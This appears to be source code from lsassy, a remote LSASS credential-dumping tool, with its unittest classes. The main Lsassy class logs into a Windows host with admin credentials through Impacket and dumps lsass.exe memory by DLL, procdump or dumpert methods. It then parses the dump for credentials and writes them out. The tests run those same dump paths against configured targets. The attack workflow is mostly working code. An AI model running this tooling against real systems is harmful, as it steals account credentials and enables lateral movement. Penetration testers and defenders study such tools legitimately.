class test_impacketfile(unittest.TestCase): def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login() self.ifile = ImpacketFile(self.conn, self.log) def tearDown(self): self.ifile.clean() self.conn.clean() def test_path_error(self): ret = self.ifile.open("RANDOM") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg) def test_share_error(self): ret = self.ifile.open("RANDOM/path/file") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SHARE[1], ret.error_msg) def test_file_error(self): ret = self.ifile.open("C$/path/file") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_FILE[1], ret.error_msg) def test_file_success(self): ret = self.ifile.open("C$/Windows/System32/calc.exe") ret.clean() self.assertIsInstance(ret, ImpacketFile)
class test_dumper_protected(unittest.TestCase): def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = ImpacketConnection( ImpacketConnection.Options(protected_target, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login() def tearDown(self): self.conn.clean() def test_dump_protected(self): dump_option = Dumper.Options() dump_option.method = 2 dump_option.procdump_path = procdump_path dumper = Dumper(self.conn, dump_option) ret = dumper.dump() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg) dumper.clean()
class Lsassy: def __init__(self, hostname, username, domain="", password="", lmhash="", nthash="", log_options=Logger.Options(), dump_options=Dumper.Options(), parse_options=Parser.Options(), write_options=Writer.Options()): self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash) self.log_options = log_options self.dump_options = dump_options self.parse_options = parse_options self.write_options = write_options self._target = hostname self._log = Logger(self._target, log_options) self._conn = None self._dumper = None self._parser = None self._dumpfile = None self._credentials = [] self._writer = None def connect(self, options: ImpacketConnection.Options): self._conn = ImpacketConnection(options) self._conn.set_logger(self._log) login_result = self._conn.login() if not login_result.success(): return login_result self._log.info("Authenticated") return RetCode(ERROR_SUCCESS) def dump_lsass(self, options=Dumper.Options()): is_admin = self._conn.isadmin() if not is_admin.success(): self._conn.close() return is_admin self._dumper = Dumper(self._conn, options) dump_result = self._dumper.dump() if not dump_result.success(): return dump_result self._dumpfile = self._dumper.getfile() self._log.info("Process lsass.exe has been dumped") return RetCode(ERROR_SUCCESS) def parse_lsass(self, options=Dumper.Options()): self._parser = Parser(self._dumpfile, options) parse_result = self._parser.parse() if not parse_result.success(): return parse_result self._credentials = self._parser.get_credentials() self._log.info("Process lsass.exe has been parsed") return RetCode(ERROR_SUCCESS) def write_credentials(self, options=Writer.Options()): self._writer = Writer(self._target, self._credentials, self._log, options) write_result = self._writer.write() if not write_result.success(): return write_result return RetCode(ERROR_SUCCESS) def clean(self): if self._parser: r = self._parser.clean() if not r.success(): lsassy_warn(self._log, r) if self._dumper: r = self._dumper.clean() if not r.success(): lsassy_warn(self._log, r) if self._conn: r = self._conn.clean() if not r.success(): lsassy_warn(self._log, r) self._log.info("Cleaning complete") def get_credentials(self): self.log_options.quiet = True self.log_options.verbosity = False self._log = Logger(self._target, self.log_options) self.write_options.format = "none" return_code = self.run() ret = {"success": True, "credentials": self._credentials} if not return_code.success(): ret["success"] = False ret["error_code"] = return_code.error_code ret["error_msg"] = return_code.error_msg ret["error_exception"] = return_code.error_exception return ret def run(self): return_code = ERROR_UNDEFINED try: return_code = self._run() except KeyboardInterrupt as e: print("") self._log.warn("Quitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) finally: self.clean() lsassy_exit(self._log, return_code) return return_code def _run(self): """ Extract hashes from arguments """ r = self.connect(self.conn_options) if not r.success(): return r r = self.dump_lsass(self.dump_options) if not r.success(): return r r = self.parse_lsass(self.parse_options) if not r.success(): return r r = self.write_credentials(self.write_options) if not r.success(): return r return RetCode(ERROR_SUCCESS)
class test_impacketconnection(unittest.TestCase): def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = None def tearDown(self): if isinstance(self.conn, ImpacketConnection): self.conn.clean() def test_login_dns_error(self): self.conn = ImpacketConnection( ImpacketConnection.Options("pixis.hackndo", domain, da_login, da_password)) self.conn.set_logger(self.log) ret = self.conn.login() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DNS_ERROR[1], ret.error_msg) @unittest.skipUnless( kerberos, "Skipping Kerberos (Set kerberos=True to incude Kerberos tests)") def test_login_kerberos_success(self): self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password, '', '', kerberos, domain_controller)) self.conn.set_logger(self.log) ret = self.conn.login() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) def test_login_connection_error(self): self.conn = ImpacketConnection( ImpacketConnection.Options("255.255.255.255", domain, da_login, da_password)) self.conn.set_logger(self.log) ret = self.conn.login() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_CONNECTION_ERROR[1], ret.error_msg) def test_login_login_error(self): self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, "wrong_password")) self.conn.set_logger(self.log) ret = self.conn.login() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_LOGIN_FAILURE[1], ret.error_msg) def test_login_login_success(self): self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password)) self.conn.set_logger(self.log) ret = self.conn.login() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) def test_is_admin(self): self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login() ret = self.conn.isadmin() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) @unittest.skipUnless(usr_login and usr_password, "No low privileged user credential provided") def test_is_admin_error(self): self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, usr_login, usr_password)) self.conn.set_logger(self.log) self.conn.login() ret = self.conn.isadmin() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_ACCESS_DENIED[1], ret.error_msg)
class test_dumper(unittest.TestCase): def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login() def tearDown(self): self.conn.clean() """ DLL Method """ def test_dll_dump_invalid_shell(self): ret = Dumper(self.conn).dll_dump(("wmi", ), "unknown") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) def test_dll_execute_error(self): ret = Dumper(self.conn).dll_dump((), "cmd") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg) def test_dll_execute_success(self): ret = Dumper(self.conn).dll_dump(("task", ), "cmd") self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) """ Procdump Method """ def test_procdump_missing_parameter(self): ret = Dumper(self.conn).procdump_dump(("wmi", )) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg) def test_procdump_invalid_parameter(self): dump_option = Dumper.Options() dump_option.procdump_path = "/invalid/path" ret = Dumper(self.conn, dump_option).procdump_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg) @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") def test_procdump_upload_error(self): dump_option = Dumper.Options() dump_option.procdump_path = procdump_path dump_option.share = "INVALID_SHARE" ret = Dumper(self.conn, dump_option).procdump_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg) @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") def test_procdump_execute_error(self): dump_option = Dumper.Options() dump_option.procdump_path = procdump_path dump = Dumper(self.conn, dump_option) ret = dump.procdump_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg) dump.clean() """ Dumpert Method """ def test_dumpert_missing_parameter(self): ret = Dumper(self.conn).dumpert_dump(("wmi", )) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg) def test_dumpert_invalid_parameter(self): dump_option = Dumper.Options() dump_option.dumpert_path = "/invalid/path" ret = Dumper(self.conn, dump_option).dumpert_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg) @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") def test_dumpert_upload_error(self): dump_option = Dumper.Options() dump_option.dumpert_path = dumpert_path dump_option.share = "INVALID_SHARE" ret = Dumper(self.conn, dump_option).dumpert_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg) @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") def test_dumpert_execute_error(self): dump_option = Dumper.Options() dump_option.dumpert_path = dumpert_path dumper = Dumper(self.conn, dump_option) ret = dumper.dumpert_dump(()) self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg) dumper.clean() """ Dump generic """ def test_dump_method_unknown(self): dump_option = Dumper.Options() dump_option.method = 99 ret = Dumper(self.conn, dump_option).dump() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) def test_dump_success(self): dumper = Dumper(self.conn) ret = dumper.dump() dumper.clean() self.assertIsInstance(ret, RetCode) self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)